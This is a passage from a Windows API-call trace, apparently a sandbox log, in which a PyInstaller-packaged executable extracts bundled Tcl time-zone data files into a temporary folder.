lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.910] CloseHandle (hObject=0x10c) returned 1 [0039.910] GetLastError () returned 0x0 [0039.910] SetLastError (dwErrCode=0x0) [0039.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Almaty") returned 68 [0039.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Almaty" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\almaty"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.910] GetLastError () returned 0x2 [0039.910] SetLastError (dwErrCode=0x2) [0039.910] GetLastError () returned 0x2 [0039.910] SetLastError (dwErrCode=0x2) [0039.910] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Almaty", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Almaty", lpFilePart=0x0) returned 0x43 [0039.910] GetLastError () returned 0x2 [0039.910] SetLastError (dwErrCode=0x2) [0039.910] GetLastError () returned 0x2 [0039.910] SetLastError (dwErrCode=0x2) [0039.910] GetLastError () returned 0x2 [0039.910] SetLastError (dwErrCode=0x2) [0039.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Almaty") returned 68 [0039.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Almaty" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\almaty"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.911] GetFileType (hFile=0x10c) returned 0x1 [0039.911] htonl (hostlong=0x5b060000) returned 0x65b [0039.911] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.911] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x65b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x65b, lpOverlapped=0x0) returned 1 [0039.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.912] CloseHandle (hObject=0x10c) returned 1 [0039.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.913] htonl (hostlong=0x30000000) returned 0x30 [0039.913] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.913] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.913] GetFileType (hFile=0x10c) returned 0x1 [0039.913] htonl (hostlong=0xb1a55a00) returned 0x5aa5b1 [0039.913] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f55b1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.913] htonl (hostlong=0xa7050000) returned 0x5a7 [0039.913] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5a7) returned 0x550600 [0039.913] htonl (hostlong=0xa7050000) returned 0x5a7 [0039.913] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.913] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.913] htonl (hostlong=0xad1b0000) returned 0x1bad [0039.913] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bad) returned 0x561090 [0039.913] htonl (hostlong=0xa7050000) returned 0x5a7 [0039.913] htonl (hostlong=0xad1b0000) returned 0x1bad [0039.913] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562c48 [0039.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562c48 | out: hHeap=0x530000) returned 1 [0039.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.913] CloseHandle (hObject=0x10c) returned 1 [0039.914] GetLastError () returned 0x0 [0039.914] SetLastError (dwErrCode=0x0) [0039.914] GetLastError () returned 0x0 [0039.914] SetLastError (dwErrCode=0x0) [0039.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.914] GetFileType (hFile=0x10c) returned 0x1 [0039.914] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.914] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.914] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.914] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.914] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.914] CloseHandle (hObject=0x10c) returned 1 [0039.914] GetLastError () returned 0x0 [0039.914] SetLastError (dwErrCode=0x0) [0039.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.914] GetFileType (hFile=0x10c) returned 0x1 [0039.914] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.914] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.915] CloseHandle (hObject=0x10c) returned 1 [0039.915] GetLastError () returned 0x0 [0039.915] SetLastError (dwErrCode=0x0) [0039.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.915] GetFileType (hFile=0x10c) returned 0x1 [0039.915] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.915] CloseHandle (hObject=0x10c) returned 1 [0039.916] GetLastError () returned 0x0 [0039.916] SetLastError (dwErrCode=0x0) [0039.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Amman") returned 67 [0039.916] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Amman" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\amman"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.916] GetLastError () returned 0x2 [0039.916] SetLastError (dwErrCode=0x2) [0039.916] GetLastError () returned 0x2 [0039.916] SetLastError (dwErrCode=0x2) [0039.916] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Amman", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Amman", lpFilePart=0x0) returned 0x42 [0039.916] GetLastError () returned 0x2 [0039.916] SetLastError (dwErrCode=0x2) [0039.916] GetLastError () returned 0x2 [0039.916] SetLastError (dwErrCode=0x2) [0039.916] GetLastError () returned 0x2 [0039.916] SetLastError (dwErrCode=0x2) [0039.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Amman") returned 67 [0039.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.916] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Amman" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\amman"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.917] GetFileType (hFile=0x10c) returned 0x1 [0039.917] htonl (hostlong=0xad1b0000) returned 0x1bad [0039.917] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.918] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.918] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbad, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbad, lpOverlapped=0x0) returned 1 [0039.918] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.918] CloseHandle (hObject=0x10c) returned 1 [0039.919] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.920] htonl (hostlong=0x30000000) returned 0x30 [0039.920] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.920] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.920] GetFileType (hFile=0x10c) returned 0x1 [0039.920] htonl (hostlong=0x58ab5a00) returned 0x5aab58 [0039.920] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f5b58, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.920] htonl (hostlong=0x2a020000) returned 0x22a [0039.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22a) returned 0x550600 [0039.920] htonl (hostlong=0x2a020000) returned 0x22a [0039.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.921] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.921] htonl (hostlong=0x4e080000) returned 0x84e [0039.921] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x84e) returned 0x55e278 [0039.921] htonl (hostlong=0x2a020000) returned 0x22a [0039.921] htonl (hostlong=0x4e080000) returned 0x84e [0039.921] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.921] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.921] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.921] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.921] CloseHandle (hObject=0x10c) returned 1 [0039.921] GetLastError () returned 0x0 [0039.921] SetLastError (dwErrCode=0x0) [0039.921] GetLastError () returned 0x0 [0039.921] SetLastError (dwErrCode=0x0) [0039.921] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.921] GetFileType (hFile=0x10c) returned 0x1 [0039.921] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.921] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.922] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.922] CloseHandle (hObject=0x10c) returned 1 [0039.922] GetLastError () returned 0x0 [0039.922] SetLastError (dwErrCode=0x0) [0039.922] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.922] GetFileType (hFile=0x10c) returned 0x1 [0039.922] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.922] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.922] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.922] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.922] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.922] CloseHandle (hObject=0x10c) returned 1 [0039.923] GetLastError () returned 0x0 [0039.923] SetLastError (dwErrCode=0x0) [0039.923] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0039.923] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.923] GetFileType (hFile=0x10c) returned 0x1 [0039.923] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.923] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.923] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.923] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.923] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.923] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.923] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.923] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.923] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.923] CloseHandle (hObject=0x10c) returned 1 [0039.923] GetLastError () returned 0x0 [0039.923] SetLastError (dwErrCode=0x0) [0039.923] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Anadyr") returned 68 [0039.923] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Anadyr" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\anadyr"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.923] GetLastError () returned 0x2 [0039.923] SetLastError (dwErrCode=0x2) [0039.923] GetLastError () returned 0x2 [0039.923] SetLastError (dwErrCode=0x2) [0039.923] GetFullPathNameW (in: 